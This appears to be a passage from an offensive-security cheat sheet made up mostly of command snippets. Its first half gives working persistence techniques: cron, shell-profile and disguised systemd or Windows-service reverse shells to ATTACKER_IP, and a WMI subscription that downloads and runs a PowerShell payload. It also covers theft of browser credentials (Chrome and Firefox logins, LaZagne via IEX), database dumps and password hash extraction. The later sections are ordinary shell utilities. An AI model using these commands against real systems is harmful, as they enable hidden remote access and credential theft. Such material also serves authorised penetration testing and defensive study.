# 1. Cron jobs
(crontab -l; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'") | crontab -
# 2. System-wide cron
echo "*/5 * * * * root /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" >> /etc/crontab
# 3. Profile scripts
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &' >> ~/.bashrc
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &' >> ~/.profile
Systemd Service Permissions#
# 1. Create malicious service
cat <<EOF > /etc/systemd/system/update.service
[Unit]
Description=System Update Service
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
Restart=always
[Install]
WantedBy=multi-user.target
EOF
# 2. Enable and start service
systemctl enable update.service
systemctl start update.service
# 3. Check persistence
systemctl status update.service
Windows Service Persistence#
# Create new service
sc create "WindowsUpdateService" binpath= "cmd /c start /b C:\temp\payload.exe" start= auto
sc description "WindowsUpdateService" "Windows Update Service"
sc start "WindowsUpdateService"
# Modify existing service
sc config "Spooler" binpath= "C:\temp\payload.exe"
WMI Persistence#
# 1. WMI event subscription
$filterName = 'WindowsUpdateFilter'
$consumerName = 'WindowsUpdateConsumer'
# Create event filter
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName; EventNameSpace="root\cimv2"; QueryLanguLanguage="WQL"; Query=$Query}
# Create event consumer
$Arg = @{Name=$consumerName; CommandLineTemplate="powershell.exe -WindowStyle hidden -Command IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payload.ps1')"}
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments $Arg
# Bind filter to consumer
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter; Consumer=$WMIEventConsumer}
Data Exfiltration#
Browser Data Extraction#
# 1. Chrome password extraction
$ChromePath = "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\Login Data"
copy "$ChromePath" "C:\temp\chrome_passwords.db"
# 2. Firefox password extraction
$FirefoxPath = "$env:APPDATA\Mozilla\Firefox\Profiles"
Get-ChildItem $FirefoxPath | ForEach-Object {
copy "$($_.FullName)\logins.json" "C:\temp\firefox_logins.json"
copy "$($_.FullName)\key4.db" "C:\temp\firefox_key4.db"
}
# 3. Browser history
copy "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\History" "C:\temp\chrome_history"
copy "$env:APPDATA\Mozilla\Firefox\Profiles\*\places.sqlite" "C:\temp\firefox_history"
# 4. Extract using PowerShell
# LaZagne for credential extraction
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/AlessandroZ/LaZagne/master/Windows/lazagne.py')
Database Extraction#
# 1. MySQL dump
mysqldump -u root -p --all-databases > all_databases.sql
mysqldump -u root -p database_name > database.sql
# 2. PostgreSQL dump
pg_dumpall -U postgres > all_databases.sql
pg_dump -U postgres database_name > database.sql
# 3. MSSQL backup
sqlcmd -S server -E -Q "BACKUP DATABASE [database] TO DISK = 'C:\temp\database.bak'"
# 4. SQLite dump
sqlite3 database.db .dump > database.sql
Memory Dump Analysis#
# 1. Linux memory dump
dd if=/dev/mem of=memory.dump bs=1M
# Or using LiME
insmod lime.ko "path=/tmp/memory.dump format=lime"
# 2. Analyze with Volatility
volatility -f memory.dump --profile=Linux imageinfo
volatility -f memory.dump --profile=Linux linux_bash
volatility -f memory.dump --profile=Linux linux_pslist
# 3. Windows memory dump
# Use DumpIt, FTK Imager, or WinPmem
# Analyze with Volatility
volatility -f memory.dmp imageinfo
volatility -f memory.dmp --profile=Win10x64 pslist
volatility -f memory.dmp --profile=Win10x64 hashdump
Utility Commands & Techniques#
Text Processing#
# 1. Search and filter
grep -r "password" /etc/ 2>/dev/null
grep -rE "(password|passwd|pwd)" . --include="*.txt" --include="*.config"
find . -type f -exec grep -l "password" {} \;
# 2. Extract specific patterns
grep -oE '\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b' file # Email addresses
grep -oE '\b[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\b' file # IP addresses
grep -oE 'https?://[^\s]+' file # URLs
# 3. Text manipulation
sed 's/old_text/new_text/g' file # Replace text
awk '{print $1}' file # Print first column
cut -d: -f1 /etc/passwd # Extract usernames
sort file | uniq # Remove duplicates
tr '[:lower:]' '[:upper:]' < file # Convert to uppercase
Encoding/Decoding#
# 1. Base64
echo "text" | base64
echo "dGV4dAo=" | base64 -d
# 2. URL encoding/decoding
python3 -c "import urllib.parse; print(urllib.parse.quote('text with spaces'))"
python3 -c "import urllib.parse; print(urllib.parse.unquote('text%20with%20spaces'))"
# 3. Hex encoding/decoding
echo "text" | xxd -p
echo "74657874" | xxd -r -p
# 4. MD5/SHA hashing
echo -n "password" | md5sum
echo -n "password" | sha256sum
echo -n "password" | sha1sum
Network Utilities#
# 1. Port scanning without nmap
for port in {1..1000}; do
timeout 1 bash -c "</dev/tcp/TARGET_IP/$port" && echo "Port $port open"
done
# 2. Banner grabbing
echo "" | nc -nv TARGET_IP PORT
curl -I http://TARGET_IP
telnet TARGET_IP PORT
# 3. DNS queries
nslookup domain.com
dig domain.com
host domain.com
dig @8.8.8.8 domain.com MX
dig @8.8.8.8 domain.com TXT
# 4. Network monitoring
tcpdump -i any -w capture.pcap
wireshark -i any -k # Start capturing immediately
netstat -tulnp
ss -tulnp
File Operations#
# 1. Find files
find / -name "*.conf" 2>/dev/null
find / -perm -4000 2>/dev/null # SUID files
find / -type f -size +100M 2>/dev/null # Large files
find / -mtime -1 2>/dev/null # Modified in last 24 hours
# 2. File permissions
chmod +x file
chmod 755 file
chown user:group file
chattr +i file # Make immutable
# 3. Archive operations
tar -czf archive.tar.gz directory/
tar -xzf archive.tar.gz
zip -r archive.zip directory/
unzip archive.zip
# 4. File comparison
diff file1 file2
comm file1 file2
cmp file1 file2
Process Management#
# 1. Process monitoring
ps aux | grep process_name
pgrep process_name
pidof process_name
pstree
# 2. Process control
kill PID
killall process_name
pkill -f process_pattern
nohup command & # Run in background
# 3. Job control
jobs
bg %1 # Put job 1 in background
fg %1 # Bring job 1 to foreground
disown %1 # Remove from job table
Virtual Environment#
# 1. Create a virtual environment (Python 3 built-in)
python3 -m venv venv_name
# 2. Activate the environment
# Linux / macOS
source venv_name/bin/activate
# Windows (PowerShell)
venv_name\Scripts\Activate.ps1
# Windows (cmd.exe)
venv_name\Scripts\activate.bat
# 3. Deactivate environment
deactivate